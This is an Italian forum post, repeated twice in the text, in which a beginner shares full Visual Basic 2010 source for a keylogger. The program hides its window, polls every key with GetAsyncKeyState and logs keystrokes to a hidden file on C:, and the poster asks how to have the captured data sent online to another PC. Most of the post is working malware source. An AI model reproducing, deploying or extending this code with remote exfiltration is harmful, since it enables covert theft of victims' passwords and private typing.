ciao a tutti
ho creato finalmente un keylogger utilizzando Visual Basic 2010 con questo codice.
Imports System.IO 'Libreria per la gestione dei file
Public Class Form1
'Dichiarazione funzione GetAsyncKeyState
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
'Avvia timer
Timer1.Start()
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
'Form invisibile
Me.Visible = False
'Per ogni input esistente
For i As Integer = 3 To 255
'Dichiarazione variabili
Dim fi As FileInfo = New FileInfo("C:\$Ss.txt")
Dim sw As StreamWriter
Dim ch As String
'Se questo input esiste
If GetAsyncKeyState(i) Then
'Converti in stringa l'input da byte
ch = DirectCast(i, System.Windows.Forms.Keys).ToString
'Se non è un carattere circondalo da {}
If ch.Length > 1 Then
ch = "{" + ch + "}"
End If
'Se il file non esiste crealo.
'Altrimenti aprilo semplicemente in scrittura
If fi.Exists = False Then
sw = fi.CreateText()
Else
sw = fi.AppendText()
End If
'Scrittura
sw.Write(ch) 'Prepara la scrittura del carattere/stringa
sw.Flush() 'scrivi
sw.Close() 'chiudi
End If
Next
End Sub
End Class
lo salvato e lo inviato al mio secondo pc lo aperto e funziona tutto benissimo ma mi chiedevo se,
è possibile ricevere i dati raccolti al mio primo pc online.
è possibile?
ragazzi sono nuovo quindi se ho sbagliato sezione o ho sbagliato a scrivere ditemelo
ho creato finalmente un keylogger utilizzando Visual Basic 2010 con questo codice.
Imports System.IO 'Libreria per la gestione dei file
Public Class Form1
'Dichiarazione funzione GetAsyncKeyState
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
'Avvia timer
Timer1.Start()
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
'Form invisibile
Me.Visible = False
'Per ogni input esistente
For i As Integer = 3 To 255
'Dichiarazione variabili
Dim fi As FileInfo = New FileInfo("C:\$Ss.txt")
Dim sw As StreamWriter
Dim ch As String
'Se questo input esiste
If GetAsyncKeyState(i) Then
'Converti in stringa l'input da byte
ch = DirectCast(i, System.Windows.Forms.Keys).ToString
'Se non è un carattere circondalo da {}
If ch.Length > 1 Then
ch = "{" + ch + "}"
End If
'Se il file non esiste crealo.
'Altrimenti aprilo semplicemente in scrittura
If fi.Exists = False Then
sw = fi.CreateText()
Else
sw = fi.AppendText()
End If
'Scrittura
sw.Write(ch) 'Prepara la scrittura del carattere/stringa
sw.Flush() 'scrivi
sw.Close() 'chiudi
End If
Next
End Sub
End Class
lo salvato e lo inviato al mio secondo pc lo aperto e funziona tutto benissimo ma mi chiedevo se,
è possibile ricevere i dati raccolti al mio primo pc online.
è possibile?
ragazzi sono nuovo quindi se ho sbagliato sezione o ho sbagliato a scrivere ditemelo
Ultima modifica: